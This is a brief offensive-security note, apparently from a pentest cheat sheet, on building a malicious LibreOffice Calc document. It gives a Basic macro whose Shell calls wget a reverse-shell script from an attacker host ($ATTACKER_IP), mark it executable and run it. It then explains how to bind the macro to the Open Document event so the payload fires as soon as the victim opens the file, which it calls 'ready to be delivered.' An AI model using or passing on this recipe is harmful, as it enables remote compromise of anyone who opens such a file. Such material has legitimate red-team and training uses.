# Libre Office

## Create Macros

This is taken from [James Gallagher's James on Hacking](https://jamesonhacking.blogspot.com/2022/03/using-malicious-libreoffice-calc-macros.html) page.

Go to the following menu options
```sh
Tools --> Macros --> Organize Macros --> Basic
```

In the windows that has opened, click on the name of the document you created and choose `New`.  
Place your payload in the function, for example
```sh
Sub Main

Shell("wget http://$ATTACKER_IP:8000/rshell.sh")
Shell("chmod +x rshell.sh ; bash -c ./rshell.sh")

End Sub
```

Close the `Organize Macros` windows and go to
```
Tools --> Macros --> Organize Macros --> Events --> Open Document
```
Choose the Macro created before and save the document. The file is ready to be delivered.